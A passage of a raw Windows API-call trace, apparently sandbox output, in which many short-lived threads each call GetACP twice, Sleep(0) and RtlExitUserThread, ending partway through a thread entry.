[0227.039] GetACP () returned 0x4e4 [0227.039] Sleep (dwMilliseconds=0x0) [0227.238] RtlExitUserThread (Status=0x0) Thread: id = 1141 os_tid = 0x1084 [0227.039] GetACP () returned 0x4e4 [0227.039] GetACP () returned 0x4e4 [0227.039] Sleep (dwMilliseconds=0x0) [0227.239] RtlExitUserThread (Status=0x0) Thread: id = 1142 os_tid = 0x1088 [0227.040] GetACP () returned 0x4e4 [0227.040] GetACP () returned 0x4e4 [0227.040] Sleep (dwMilliseconds=0x0) [0227.239] RtlExitUserThread (Status=0x0) Thread: id = 1143 os_tid = 0x108c [0227.040] GetACP () returned 0x4e4 [0227.040] GetACP () returned 0x4e4 [0227.040] Sleep (dwMilliseconds=0x0) [0227.240] RtlExitUserThread (Status=0x0) Thread: id = 1144 os_tid = 0x1090 [0227.041] GetACP () returned 0x4e4 [0227.041] GetACP () returned 0x4e4 [0227.041] Sleep (dwMilliseconds=0x0) [0227.240] RtlExitUserThread (Status=0x0) Thread: id = 1145 os_tid = 0x1094 [0227.041] GetACP () returned 0x4e4 [0227.041] GetACP () returned 0x4e4 [0227.041] Sleep (dwMilliseconds=0x0) [0227.241] RtlExitUserThread (Status=0x0) Thread: id = 1146 os_tid = 0x1098 [0227.042] GetACP () returned 0x4e4 [0227.042] GetACP () returned 0x4e4 [0227.042] Sleep (dwMilliseconds=0x0) [0227.241] RtlExitUserThread (Status=0x0) Thread: id = 1147 os_tid = 0x109c [0227.042] GetACP () returned 0x4e4 [0227.042] GetACP () returned 0x4e4 [0227.042] Sleep (dwMilliseconds=0x0) [0227.242] RtlExitUserThread (Status=0x0) Thread: id = 1148 os_tid = 0x10a0 [0227.094] GetACP () returned 0x4e4 [0227.094] GetACP () returned 0x4e4 [0227.094] Sleep (dwMilliseconds=0x0) [0227.252] RtlExitUserThread (Status=0x0) Thread: id = 1149 os_tid = 0x10a4 [0227.095] GetACP () returned 0x4e4 [0227.095] GetACP () returned 0x4e4 [0227.095] Sleep (dwMilliseconds=0x0) [0227.252] RtlExitUserThread (Status=0x0) Thread: id = 1150 os_tid = 0x10a8 [0227.095] GetACP () returned 0x4e4 [0227.095] GetACP () returned 0x4e4 [0227.095] Sleep (dwMilliseconds=0x0) [0227.253] RtlExitUserThread (Status=0x0) Thread: id = 1151 os_tid = 0x10ac [0227.096] GetACP () returned 0x4e4 [0227.096] GetACP () returned 0x4e4 [0227.096] Sleep (dwMilliseconds=0x0) [0227.254] RtlExitUserThread (Status=0x0) Thread: id = 1152 os_tid = 0x10b0 [0227.096] GetACP () returned 0x4e4 [0227.096] GetACP () returned 0x4e4 [0227.096] Sleep (dwMilliseconds=0x0) [0227.254] RtlExitUserThread (Status=0x0) Thread: id = 1153 os_tid = 0x10b4 [0227.097] GetACP () returned 0x4e4 [0227.097] GetACP () returned 0x4e4 [0227.097] Sleep (dwMilliseconds=0x0) [0227.255] RtlExitUserThread (Status=0x0) Thread: id = 1154 os_tid = 0x10b8 [0227.097] GetACP () returned 0x4e4 [0227.097] GetACP () returned 0x4e4 [0227.097] Sleep (dwMilliseconds=0x0) [0227.255] RtlExitUserThread (Status=0x0) Thread: id = 1155 os_tid = 0x10bc [0227.097] GetACP () returned 0x4e4 [0227.098] GetACP () returned 0x4e4 [0227.098] Sleep (dwMilliseconds=0x0) [0227.256] RtlExitUserThread (Status=0x0) Thread: id = 1156 os_tid = 0x10c0 [0227.098] GetACP () returned 0x4e4 [0227.098] GetACP () returned 0x4e4 [0227.098] Sleep (dwMilliseconds=0x0) [0227.256] RtlExitUserThread (Status=0x0) Thread: id = 1177 os_tid = 0x1114 [0227.257] GetACP () returned 0x4e4 [0227.257] GetACP () returned 0x4e4 [0227.257] Sleep (dwMilliseconds=0x0) [0227.407] RtlExitUserThread (Status=0x0) Thread: id = 1178 os_tid = 0x1118 [0227.258] GetACP () returned 0x4e4 [0227.258] GetACP () returned 0x4e4 [0227.258] Sleep (dwMilliseconds=0x0) [0227.408] RtlExitUserThread (Status=0x0) Thread: id = 1179 os_tid = 0x111c [0227.258] GetACP () returned 0x4e4 [0227.258] GetACP () returned 0x4e4 [0227.258] Sleep (dwMilliseconds=0x0) [0227.408] RtlExitUserThread (Status=0x0) Thread: id = 1180 os_tid = 0x1120 [0227.259] GetACP () returned 0x4e4 [0227.259] GetACP () returned 0x4e4 [0227.259] Sleep (dwMilliseconds=0x0) [0227.409] RtlExitUserThread (Status=0x0) Thread: id = 1181 os_tid = 0x1124 [0227.259] GetACP () returned 0x4e4 [0227.259] GetACP () returned 0x4e4 [0227.259] Sleep (dwMilliseconds=0x0) [0227.409] RtlExitUserThread (Status=0x0) Thread: id = 1182 os_tid = 0x1128 [0227.260] GetACP () returned 0x4e4 [0227.260] GetACP () returned 0x4e4 [0227.260] Sleep (dwMilliseconds=0x0) [0227.411] RtlExitUserThread (Status=0x0) Thread: id = 1183 os_tid = 0x112c [0227.260] GetACP () returned 0x4e4 [0227.260] GetACP () returned 0x4e4 [0227.260] Sleep (dwMilliseconds=0x0) [0227.411] RtlExitUserThread (Status=0x0) Thread: id = 1184 os_tid = 0x1130 [0227.261] GetACP () returned 0x4e4 [0227.261] GetACP () returned 0x4e4 [0227.261] Sleep (dwMilliseconds=0x0) [0227.412] RtlExitUserThread (Status=0x0) Thread: id = 1185 os_tid = 0x1134 [0227.261] GetACP () returned 0x4e4 [0227.261] GetACP () returned 0x4e4 [0227.261] Sleep (dwMilliseconds=0x0) [0227.413] RtlExitUserThread (Status=0x0) Thread: id = 1186 os_tid = 0x1138 [0227.262] GetACP () returned 0x4e4 [0227.262] GetACP () returned 0x4e4 [0227.262] Sleep (dwMilliseconds=0x0) [0227.413] RtlExitUserThread (Status=0x0) Thread: id = 1187 os_tid = 0x113c [0227.262] GetACP () returned 0x4e4 [0227.262] GetACP () returned 0x4e4 [0227.262] Sleep (dwMilliseconds=0x0) [0227.414] RtlExitUserThread (Status=0x0) Thread: id = 1188 os_tid = 0x1140 [0227.262] GetACP () returned 0x4e4 [0227.262] GetACP () returned 0x4e4 [0227.262] Sleep (dwMilliseconds=0x0) [0227.415] RtlExitUserThread (Status=0x0) Thread: id = 1189 os_tid = 0x1144 [0227.269] GetACP () returned 0x4e4 [0227.269] GetACP () returned 0x4e4 [0227.269] Sleep (dwMilliseconds=0x0) [0227.416] RtlExitUserThread (Status=0x0) Thread: id = 1190 os_tid = 0x1148 [0227.270] GetACP () returned 0x4e4 [0227.270] GetACP () returned 0x4e4 [0227.270] Sleep (dwMilliseconds=0x0) [0227.416] RtlExitUserThread (Status=0x0) Thread: id = 1191 os_tid = 0x114c [0227.270] GetACP () returned 0x4e4 [0227.270] GetACP () returned 0x4e4 [0227.270] Sleep (dwMilliseconds=0x0) [0227.417] RtlExitUserThread (Status=0x0) Thread: id = 1192 os_tid = 0x1150 [0227.271] GetACP () returned 0x4e4 [0227.271] GetACP () returned 0x4e4 [0227.271] Sleep (dwMilliseconds=0x0) [0227.417] RtlExitUserThread (Status=0x0) Thread: id = 1193 os_tid = 0x1154 [0227.271] GetACP () returned 0x4e4 [0227.271] GetACP () returned 0x4e4 [0227.271] Sleep (dwMilliseconds=0x0) [0227.418] RtlExitUserThread (Status=0x0) Thread: id = 1194 os_tid = 0x1158 [0227.272] GetACP () returned 0x4e4 [0227.272] GetACP () returned 0x4e4 [0227.272] Sleep (dwMilliseconds=0x0) [0227.419] RtlExitUserThread (Status=0x0) Thread: id = 1195 os_tid = 0x115c [0227.272] GetACP () returned 0x4e4 [0227.272] GetACP () returned 0x4e4 [0227.272] Sleep (dwMilliseconds=0x0) [0227.419] RtlExitUserThread (Status=0x0) Thread: id = 1196 os_tid = 0x1160 [0227.272] GetACP () returned 0x4e4 [0227.272] GetACP () returned 0x4e4 [0227.272] Sleep (dwMilliseconds=0x0) [0227.420] RtlExitUserThread (Status=0x0) Thread: id = 1217 os_tid = 0x11b4 [0227.421] GetACP () returned 0x4e4 [0227.421] GetACP () returned 0x4e4 [0227.421] Sleep (dwMilliseconds=0x0) [0227.530] RtlExitUserThread (Status=0x0) Thread: id = 1218 os_tid = 0x11b8 [0227.422] GetACP () returned 0x4e4 [0227.422] GetACP () returned 0x4e4 [0227.422] Sleep (dwMilliseconds=0x0) [0227.531] RtlExitUserThread (Status=0x0) Thread: id = 1219 os_tid = 0x11bc [0227.422] GetACP () returned 0x4e4 [0227.422] GetACP () returned 0x4e4 [0227.422] Sleep (dwMilliseconds=0x0) [0227.531] RtlExitUserThread (Status=0x0) Thread: id = 1220 os_tid = 0x11c0 [0227.422] GetACP () returned 0x4e4 [0227.422] GetACP () returned 0x4e4 [0227.422] Sleep (dwMilliseconds=0x0) [0227.532] RtlExitUserThread (Status=0x0) Thread: id = 1221 os_tid = 0x11c4 [0227.423] GetACP () returned 0x4e4 [0227.423] GetACP () returned 0x4e4 [0227.423] Sleep (dwMilliseconds=0x0) [0227.533] RtlExitUserThread (Status=0x0) Thread: id = 1222 os_tid = 0x11c8 [0227.423] GetACP () returned 0x4e4 [0227.423] GetACP () returned 0x4e4 [0227.423] Sleep (dwMilliseconds=0x0) [0227.533] RtlExitUserThread (Status=0x0) Thread: id = 1223 os_tid = 0x11cc [0227.424] GetACP () returned 0x4e4 [0227.424] GetACP () returned 0x4e4 [0227.424] Sleep (dwMilliseconds=0x0) [0227.534] RtlExitUserThread (Status=0x0) Thread: id = 1224 os_tid = 0x11d0 [0227.424] GetACP () returned 0x4e4 [0227.424] GetACP () returned 0x4e4 [0227.424] Sleep (dwMilliseconds=0x0) [0227.534] RtlExitUserThread (Status=0x0) Thread: id = 1225 os_tid = 0x11d4 [0227.425] GetACP () returned 0x4e4 [0227.425] GetACP () returned 0x4e4 [0227.425] Sleep (dwMilliseconds=0x0) [0227.535] RtlExitUserThread (Status=0x0) Thread: id = 1226 os_tid = 0x11d8 [0227.425] GetACP () returned 0x4e4 [0227.425] GetACP () returned 0x4e4 [0227.425] Sleep (dwMilliseconds=0x0) [0227.535] RtlExitUserThread (Status=0x0) Thread: id = 1227 os_tid = 0x11dc [0227.426] GetACP () returned 0x4e4 [0227.426] GetACP () returned 0x4e4 [0227.426] Sleep (dwMilliseconds=0x0) [0227.536] RtlExitUserThread (Status=0x0) Thread: id = 1228 os_tid = 0x11e0 [0227.426] GetACP () returned 0x4e4 [0227.426] GetACP () returned 0x4e4 [0227.426] Sleep (dwMilliseconds=0x0) [0227.536] RtlExitUserThread (Status=0x0) Thread: id = 1229 os_tid = 0x11e4 [0227.426] GetACP () returned 0x4e4 [0227.426] GetACP () returned 0x4e4 [0227.427] Sleep (dwMilliseconds=0x0) [0227.537] RtlExitUserThread (Status=0x0) Thread: id = 1230 os_tid = 0x11e8 [0227.427] GetACP () returned 0x4e4 [0227.427] GetACP () returned 0x4e4 [0227.427] Sleep (dwMilliseconds=0x0) [0227.537] RtlExitUserThread (Status=0x0) Thread: id = 1231 os_tid = 0x11ec [0227.427] GetACP () returned 0x4e4 [0227.427] GetACP () returned 0x4e4 [0227.427] Sleep (dwMilliseconds=0x0) [0227.538] RtlExitUserThread (Status=0x0) Thread: id = 1232 os_tid = 0x11f0 [0227.428] GetACP () returned 0x4e4 [0227.428] GetACP () returned 0x4e4 [0227.428] Sleep (dwMilliseconds=0x0) [0227.538] RtlExitUserThread (Status=0x0) Thread: id = 1233 os_tid = 0x11f4 [0227.428] GetACP () returned 0x4e4 [0227.428] GetACP () returned 0x4e4 [0227.428] Sleep (dwMilliseconds=0x0) [0227.539] RtlExitUserThread (Status=0x0) Thread: id = 1234 os_tid = 0x11f8 [0227.429] GetACP () returned 0x4e4 [0227.429] GetACP () returned 0x4e4 [0227.429] Sleep (dwMilliseconds=0x0) [0227.540] RtlExitUserThread (Status=0x0) Thread: id = 1235 os_tid = 0x11fc [0227.429] GetACP () returned 0x4e4 [0227.429] GetACP () returned 0x4e4 [0227.429] Sleep (dwMilliseconds=0x0) [0227.540] RtlExitUserThread (Status=0x0) Thread: id = 1236 os_tid = 0x1200 [0227.430] GetACP () returned 0x4e4 [0227.430] GetACP () returned 0x4e4 [0227.430] Sleep (dwMilliseconds=0x0) [0227.541] RtlExitUserThread (Status=0x0) Thread: id = 1257 os_tid = 0x1254 [0227.542] GetACP () returned 0x4e4 [0227.542] GetACP () returned 0x4e4 [0227.542] Sleep (dwMilliseconds=0x0) [0227.655] RtlExitUserThread (Status=0x0) Thread: id = 1258 os_tid = 0x1258 [0227.542] GetACP () returned 0x4e4 [0227.542] GetACP () returned 0x4e4 [0227.542] Sleep (dwMilliseconds=0x0) [0227.655] RtlExitUserThread (Status=0x0) Thread: id = 1259 os_tid = 0x125c [0227.543] GetACP () returned 0x4e4 [0227.543] GetACP () returned 0x4e4 [0227.543] Sleep (dwMilliseconds=0x0) [0227.656] RtlExitUserThread (Status=0x0) Thread: id = 1260 os_tid = 0x1260 [0227.543] GetACP () returned 0x4e4 [0227.543] GetACP () returned 0x4e4 [0227.543] Sleep (dwMilliseconds=0x0) [0227.656] RtlExitUserThread (Status=0x0) Thread: id = 1261 os_tid = 0x1264 [0227.543] GetACP () returned 0x4e4 [0227.543] GetACP () returned 0x4e4 [0227.543] Sleep (dwMilliseconds=0x0) [0227.657] RtlExitUserThread (Status=0x0) Thread: id = 1262 os_tid = 0x1268 [0227.544] GetACP () returned 0x4e4 [0227.544] GetACP () returned 0x4e4 [0227.544] Sleep (dwMilliseconds=0x0) [0227.657] RtlExitUserThread (Status=0x0) Thread: id = 1263 os_tid = 0x126c [0227.544] GetACP () returned 0x4e4 [0227.544] GetACP () returned 0x4e4 [0227.544] Sleep (dwMilliseconds=0x0) [0227.658] RtlExitUserThread (Status=0x0) Thread: id = 1264 os_tid = 0x1270 [0227.545] GetACP () returned 0x4e4 [0227.545] GetACP () returned 0x4e4 [0227.545] Sleep (dwMilliseconds=0x0) [0227.659] RtlExitUserThread (Status=0x0) Thread: id = 1265 os_tid = 0x1274 [0227.546] GetACP () returned 0x4e4 [0227.546] GetACP () returned 0x4e4 [0227.546] Sleep (dwMilliseconds=0x0) [0227.659] RtlExitUserThread (Status=0x0) Thread: id = 1266 os_tid = 0x1278 [0227.547] GetACP () returned 0x4e4 [0227.547] GetACP () returned 0x4e4 [0227.547] Sleep (dwMilliseconds=0x0) [0227.660] RtlExitUserThread (Status=0x0) Thread: id = 1267 os_tid = 0x127c [0227.547] GetACP () returned 0x4e4 [0227.547] GetACP () returned 0x4e4 [0227.547] Sleep (dwMilliseconds=0x0) [0227.660] RtlExitUserThread (Status=0x0) Thread: id = 1268 os_tid = 0x1280 [0227.548] GetACP () returned 0x4e4 [0227.548] GetACP () returned 0x4e4 [0227.548] Sleep (dwMilliseconds=0x0) [0227.661] RtlExitUserThread (Status=0x0) Thread: id = 1269 os_tid = 0x1284 [0227.548] GetACP () returned 0x4e4 [0227.548] GetACP () returned 0x4e4 [0227.548] Sleep (dwMilliseconds=0x0) [0227.661] RtlExitUserThread (Status=0x0) Thread: id = 1270 os_tid = 0x1288 [0227.548] GetACP () returned 0x4e4 [0227.548] GetACP () returned 0x4e4 [0227.548] Sleep (dwMilliseconds=0x0) [0227.662] RtlExitUserThread (Status=0x0) Thread: id = 1271 os_tid = 0x128c [0227.549] GetACP () returned 0x4e4 [0227.549] GetACP () returned 0x4e4 [0227.549] Sleep (dwMilliseconds=0x0) [0227.662] RtlExitUserThread (Status=0x0) Thread: id = 1272 os_tid = 0x1290 [0227.549] GetACP () returned 0x4e4 [0227.549] GetACP () returned 0x4e4 [0227.549] Sleep (dwMilliseconds=0x0) [0227.663] RtlExitUserThread (Status=0x0) Thread: id = 1273 os_tid = 0x1294 [0227.550] GetACP () returned 0x4e4 [0227.550] GetACP () returned 0x4e4 [0227.550] Sleep (dwMilliseconds=0x0) [0227.663] RtlExitUserThread (Status=0x0) Thread: id = 1274 os_tid = 0x1298 [0227.550] GetACP () returned 0x4e4 [0227.550] GetACP () returned 0x4e4 [0227.550] Sleep (dwMilliseconds=0x0) [0227.664] RtlExitUserThread (Status=0x0) Thread: id = 1275 os_tid = 0x129c [0227.551] GetACP () returned 0x4e4 [0227.551] GetACP () returned 0x4e4 [0227.551] Sleep (dwMilliseconds=0x0) [0227.664] RtlExitUserThread (Status=0x0) Thread: id = 1276 os_tid = 0x12a0 [0227.551] GetACP () returned 0x4e4 [0227.551] GetACP () returned 0x4e4 [0227.551] Sleep (dwMilliseconds=0x0) [0227.665] RtlExitUserThread (Status=0x0) Thread: id = 1297 os_tid = 0x12f4 [0227.666] GetACP () returned 0x4e4 [0227.666] GetACP () returned 0x4e4 [0227.666] Sleep (dwMilliseconds=0x0) [0227.780] RtlExitUserThread (Status=0x0) Thread: id = 1298 os_tid = 0x12f8 [0227.666] GetACP () returned 0x4e4 [0227.666] GetACP () returned 0x4e4 [0227.666] Sleep (dwMilliseconds=0x0) [0227.781] RtlExitUserThread (Status=0x0) Thread: id = 1299 os_tid = 0x12fc [0227.667] GetACP () returned 0x4e4 [0227.667] GetACP () returned 0x4e4 [0227.667] Sleep (dwMilliseconds=0x0) [0227.781] RtlExitUserThread (Status=0x0) Thread: id = 1300 os_tid = 0x1300 [0227.667] GetACP () returned 0x4e4 [0227.667] GetACP () returned 0x4e4 [0227.667] Sleep (dwMilliseconds=0x0) [0227.782] RtlExitUserThread (Status=0x0) Thread: id = 1301 os_tid = 0x1304 [0227.668] GetACP () returned 0x4e4 [0227.668] GetACP () returned 0x4e4 [0227.668] Sleep (dwMilliseconds=0x0) [0227.782] RtlExitUserThread (Status=0x0) Thread: id = 1302 os_tid = 0x1308 [0227.668] GetACP () returned 0x4e4 [0227.668] GetACP () returned 0x4e4 [0227.668] Sleep (dwMilliseconds=0x0) [0227.783] RtlExitUserThread (Status=0x0) Thread: id = 1303 os_tid = 0x130c [0227.669] GetACP () returned 0x4e4 [0227.669] GetACP () returned 0x4e4 [0227.669] Sleep (dwMilliseconds=0x0) [0227.784] RtlExitUserThread (Status=0x0) Thread: id = 1304 os_tid = 0x1310 [0227.669] GetACP () returned 0x4e4 [0227.669] GetACP () returned 0x4e4 [0227.669] Sleep (dwMilliseconds=0x0) [0227.784] RtlExitUserThread (Status=0x0) Thread: id = 1305 os_tid = 0x1314 [0227.670] GetACP () returned 0x4e4 [0227.670] GetACP () returned 0x4e4 [0227.670] Sleep (dwMilliseconds=0x0) [0227.785] RtlExitUserThread (Status=0x0) Thread: id = 1306 os_tid = 0x1318 [0227.671] GetACP () returned 0x4e4 [0227.671] GetACP () returned 0x4e4 [0227.671] Sleep (dwMilliseconds=0x0) [0227.786] RtlExitUserThread (Status=0x0) Thread: id = 1307 os_tid = 0x131c [0227.672] GetACP () returned 0x4e4 [0227.672] GetACP () returned 0x4e4 [0227.672] Sleep (dwMilliseconds=0x0) [0227.786] RtlExitUserThread (Status=0x0) Thread: id = 1308 os_tid = 0x1320 [0227.673] GetACP () returned 0x4e4 [0227.673] GetACP () returned 0x4e4 [0227.673] Sleep (dwMilliseconds=0x0) [0227.787] RtlExitUserThread (Status=0x0) Thread: id = 1309 os_tid = 0x1324 [0227.673] GetACP () returned 0x4e4 [0227.673] GetACP () returned 0x4e4 [0227.673] Sleep (dwMilliseconds=0x0) [0227.788] RtlExitUserThread (Status=0x0) Thread: id = 1310 os_tid = 0x1328 [0227.674] GetACP () returned 0x4e4 [0227.674] GetACP () returned 0x4e4 [0227.674] Sleep (dwMilliseconds=0x0) [0227.788] RtlExitUserThread (Status=0x0) Thread: id = 1311 os_tid = 0x132c [0227.674] GetACP () returned 0x4e4 [0227.674] GetACP () returned 0x4e4 [0227.674] Sleep (dwMilliseconds=0x0) [0227.789] RtlExitUserThread (Status=0x0) Thread: id = 1312 os_tid = 0x1330 [0227.675] GetACP () returned 0x4e4 [0227.675] GetACP () returned 0x4e4 [0227.675] Sleep (dwMilliseconds=0x0) [0227.789] RtlExitUserThread (Status=0x0) Thread: id = 1313 os_tid = 0x1334 [0227.675] GetACP () returned 0x4e4 [0227.675] GetACP () returned 0x4e4 [0227.675] Sleep (dwMilliseconds=0x0) [0227.790] RtlExitUserThread (Status=0x0) Thread: id = 1314 os_tid = 0x1338 [0227.676] GetACP () returned 0x4e4 [0227.676] GetACP () returned 0x4e4 [0227.676] Sleep (dwMilliseconds=0x0) [0227.790] RtlExitUserThread (Status=0x0) Thread: id = 1315 os_tid = 0x133c [0227.676] GetACP () returned 0x4e4 [0227.676] GetACP () returned 0x4e4 [0227.676] Sleep (dwMilliseconds=0x0) [0227.791] RtlExitUserThread (Status=0x0) Thread: id = 1316 os_tid = 0x1340 [0227.677] GetACP () returned 0x4e4 [0227.677] GetACP () returned 0x4e4 [0227.677] Sleep (dwMilliseconds=0x0) [0227.791] RtlExitUserThread (Status=0x0) Thread: id = 1337 os_tid = 0x1394 [0227.792] GetACP () returned 0x4e4 [0227.792] GetACP () returned 0x4e4 [0227.792] Sleep (dwMilliseconds=0x0) [0227.905] RtlExitUserThread (Status=0x0) Thread: id = 1338 os_tid = 0x1398 [0227.793] GetACP () returned 0x4e4 [0227.793] GetACP () returned 0x4e4 [0227.793] Sleep (dwMilliseconds=0x0) [0227.906] RtlExitUserThread (Status=0x0) Thread: id = 1339 os_tid = 0x139c [0227.793] GetACP () returned 0x4e4 [0227.793] GetACP () returned 0x4e4 [0227.793] Sleep (dwMilliseconds=0x0) [0227.906] RtlExitUserThread (Status=0x0) Thread: id = 1340 os_tid = 0x13a0 [0227.794] GetACP () returned 0x4e4 [0227.794] GetACP () returned 0x4e4 [0227.794] Sleep (dwMilliseconds=0x0) [0227.907] RtlExitUserThread (Status=0x0) Thread: id = 1341 os_tid = 0x13a4 [0227.794] GetACP () returned 0x4e4 [0227.795] GetACP () returned 0x4e4 [0227.795] Sleep (dwMilliseconds=0x0) [0227.908] RtlExitUserThread (Status=0x0) Thread: id = 1342 os_tid = 0x13a8 [0227.795] GetACP () returned 0x4e4 [0227.795] GetACP () returned 0x4e4 [0227.795] Sleep (dwMilliseconds=0x0) [0227.908] RtlExitUserThread (Status=0x0) Thread: id = 1343 os_tid = 0x13ac [0227.795] GetACP () returned 0x4e4 [0227.795] GetACP () returned 0x4e4 [0227.795] Sleep (dwMilliseconds=0x0) [0227.909] RtlExitUserThread (Status=0x0) Thread: id = 1344 os_tid = 0x13b0 [0227.796] GetACP () returned 0x4e4 [0227.796] GetACP () returned 0x4e4 [0227.796] Sleep (dwMilliseconds=0x0) [0227.909] RtlExitUserThread (Status=0x0) Thread: id = 1345 os_tid = 0x13b4 [0227.796] GetACP () returned 0x4e4 [0227.796] GetACP () returned 0x4e4 [0227.796] Sleep (dwMilliseconds=0x0) [0227.910] RtlExitUserThread (Status=0x0) Thread: id = 1346 os_tid = 0x13b8 [0227.797] GetACP () returned 0x4e4 [0227.797] GetACP () returned 0x4e4 [0227.797] Sleep (dwMilliseconds=0x0) [0227.911] RtlExitUserThread (Status=0x0) Thread: id = 1347 os_tid = 0x13bc [0227.797] GetACP () returned 0x4e4 [0227.797] GetACP () returned 0x4e4 [0227.797] Sleep (dwMilliseconds=0x0) [0227.911] RtlExitUserThread (Status=0x0) Thread: id = 1348 os_tid = 0x13c0 [0227.798] GetACP () returned 0x4e4 [0227.798] GetACP () returned 0x4e4 [0227.798] Sleep (dwMilliseconds=0x0) [0227.912] RtlExitUserThread (Status=0x0) Thread: id = 1349 os_tid = 0x13c4 [0227.798] GetACP () returned 0x4e4 [0227.798] GetACP () returned 0x4e4 [0227.798] Sleep (dwMilliseconds=0x0) [0227.913] RtlExitUserThread (Status=0x0) Thread: id = 1350 os_tid = 0x13c8 [0227.799] GetACP () returned 0x4e4 [0227.799] GetACP () returned 0x4e4 [0227.799] Sleep (dwMilliseconds=0x0) [0227.913] RtlExitUserThread (Status=0x0) Thread: id = 1351 os_tid = 0x13cc [0227.799] GetACP () returned 0x4e4 [0227.799] GetACP () returned 0x4e4 [0227.799] Sleep (dwMilliseconds=0x0) [0227.914] RtlExitUserThread (Status=0x0) Thread: id = 1352 os_tid = 0x13d0 [0227.799] GetACP () returned 0x4e4 [0227.799] GetACP () returned 0x4e4 [0227.799] Sleep (dwMilliseconds=0x0) [0227.915] RtlExitUserThread (Status=0x0) Thread: id = 1353 os_tid = 0x13d4 [0227.800] GetACP () returned 0x4e4 [0227.800] GetACP () returned 0x4e4 [0227.800] Sleep (dwMilliseconds=0x0) [0227.916] RtlExitUserThread (Status=0x0) Thread: id = 1354 os_tid = 0x13d8 [0227.800] GetACP () returned 0x4e4 [0227.800] GetACP () returned 0x4e4 [0227.800] Sleep (dwMilliseconds=0x0) [0227.916] RtlExitUserThread (Status=0x0) Thread: id = 1355 os_tid = 0x13dc [0227.801] GetACP () returned 0x4e4 [0227.801] GetACP () returned 0x4e4 [0227.801] Sleep (dwMilliseconds=0x0) [0227.917] RtlExitUserThread (Status=0x0) Thread: id = 1356 os_tid = 0x13e0 [0227.801] GetACP () returned 0x4e4 [0227.801] GetACP () returned 0x4e4 [0227.801] Sleep (dwMilliseconds=0x0) [0227.917] RtlExitUserThread (Status=0x0) Thread: id = 1377 os_tid = 0x1420 [0227.918] GetACP () returned 0x4e4 [0227.918] GetACP () returned 0x4e4 [0227.918] Sleep (dwMilliseconds=0x0) [0228.030] RtlExitUserThread (Status=0x0) Thread: id = 1378 os_tid = 0x1424 [0227.919] GetACP () returned 0x4e4 [0227.919] GetACP () returned 0x4e4 [0227.919] Sleep (dwMilliseconds=0x0) [0228.031] RtlExitUserThread (Status=0x0) Thread: id = 1379 os_tid = 0x1428 [0227.920] GetACP () returned 0x4e4 [0227.920] GetACP () returned 0x4e4 [0227.920] Sleep (dwMilliseconds=0x0) [0228.032] RtlExitUserThread (Status=0x0) Thread: id = 1380 os_tid = 0x142c [0227.920] GetACP () returned 0x4e4 [0227.920] GetACP () returned 0x4e4 [0227.920] Sleep (dwMilliseconds=0x0) [0228.033] RtlExitUserThread (Status=0x0) Thread: id = 1381 os_tid = 0x1430 [0227.921] GetACP () returned 0x4e4 [0227.921] GetACP () returned 0x4e4 [0227.921] Sleep (dwMilliseconds=0x0) [0228.034] RtlExitUserThread (Status=0x0) Thread: id = 1382 os_tid = 0x1434 [0227.922] GetACP () returned 0x4e4 [0227.922] GetACP () returned 0x4e4 [0227.922] Sleep (dwMilliseconds=0x0) [0228.034] RtlExitUserThread (Status=0x0) Thread: id = 1383 os_tid = 0x1438 [0227.922] GetACP () returned 0x4e4 [0227.922] GetACP () returned 0x4e4 [0227.922] Sleep (dwMilliseconds=0x0) [0228.035] RtlExitUserThread (Status=0x0) Thread: id = 1384 os_tid = 0x143c [0227.923] GetACP () returned 0x4e4 [0227.923] GetACP () returned 0x4e4 [0227.923] Sleep (dwMilliseconds=0x0) [0228.036] RtlExitUserThread (Status=0x0) Thread: id = 1385 os_tid = 0x1440 [0227.923] GetACP () returned 0x4e4 [0227.923] GetACP () returned 0x4e4 [0227.923] Sleep (dwMilliseconds=0x0) [0228.037] RtlExitUserThread (Status=0x0) Thread: id = 1386 os_tid = 0x1444 [0227.924] GetACP () returned 0x4e4 [0227.924] GetACP () returned 0x4e4 [0227.924] Sleep (dwMilliseconds=0x0) [0228.038] RtlExitUserThread (Status=0x0) Thread: id = 1387 os_tid = 0x1448 [0227.925] GetACP () returned 0x4e4 [0227.925] GetACP () returned 0x4e4 [0227.925] Sleep (dwMilliseconds=0x0) [0228.039] RtlExitUserThread (Status=0x0) Thread: id = 1388 os_tid = 0x144c [0227.925] GetACP () returned 0x4e4 [0227.925] GetACP () returned 0x4e4 [0227.925] Sleep (dwMilliseconds=0x0) [0228.039] RtlExitUserThread (Status=0x0) Thread: id = 1389 os_tid = 0x1450 [0227.926] GetACP () returned 0x4e4 [0227.926] GetACP () returned 0x4e4 [0227.926] Sleep (dwMilliseconds=0x0) [0228.040] RtlExitUserThread (Status=0x0) Thread: id = 1390 os_tid = 0x1454 [0227.926] GetACP () returned 0x4e4 [0227.926] GetACP () returned 0x4e4 [0227.926] Sleep (dwMilliseconds=0x0) [0228.041] RtlExitUserThread (Status=0x0) Thread: id = 1391 os_tid = 0x1458 [0227.927] GetACP () returned 0x4e4 [0227.927] GetACP () returned 0x4e4 [0227.927] Sleep (dwMilliseconds=0x0) [0228.042] RtlExitUserThread (Status=0x0) Thread: id = 1392 os_tid = 0x145c [0227.928] GetACP () returned 0x4e4 [0227.928] GetACP () returned 0x4e4 [0227.928] Sleep (dwMilliseconds=0x0) [0228.043] RtlExitUserThread (Status=0x0) Thread: id = 1393 os_tid = 0x1460 [0227.928] GetACP () returned 0x4e4 [0227.928] GetACP () returned 0x4e4 [0227.928] Sleep (dwMilliseconds=0x0) [0228.043] RtlExitUserThread (Status=0x0) Thread: id = 1394 os_tid = 0x1464 [0227.929] GetACP () returned 0x4e4 [0227.929] GetACP () returned 0x4e4 [0227.929] Sleep (dwMilliseconds=0x0) [0228.044] RtlExitUserThread (Status=0x0) Thread: id = 1395 os_tid = 0x1468 [0227.929] GetACP () returned 0x4e4 [0227.929] GetACP () returned 0x4e4 [0227.929] Sleep (dwMilliseconds=0x0) [0228.045] RtlExitUserThread (Status=0x0) Thread: id = 1396 os_tid = 0x146c [0227.930] GetACP () returned 0x4e4 [0227.930] GetACP () returned 0x4e4 [0227.930] Sleep (dwMilliseconds=0x0) [0228.046] RtlExitUserThread (Status=0x0) Thread: id = 1417 os_tid = 0x14c0 [0228.048] GetACP () returned 0x4e4 [0228.048] GetACP () returned 0x4e4 [0228.048] Sleep (dwMilliseconds=0x0) [0228.186] RtlExitUserThread (Status=0x0) Thread: id = 1418 os_tid = 0x14c4 [0228.048] GetACP () returned 0x4e4 [0228.048] GetACP () returned 0x4e4 [0228.048] Sleep (dwMilliseconds=0x0) [0228.186] RtlExitUserThread (Status=0x0) Thread: id = 1419 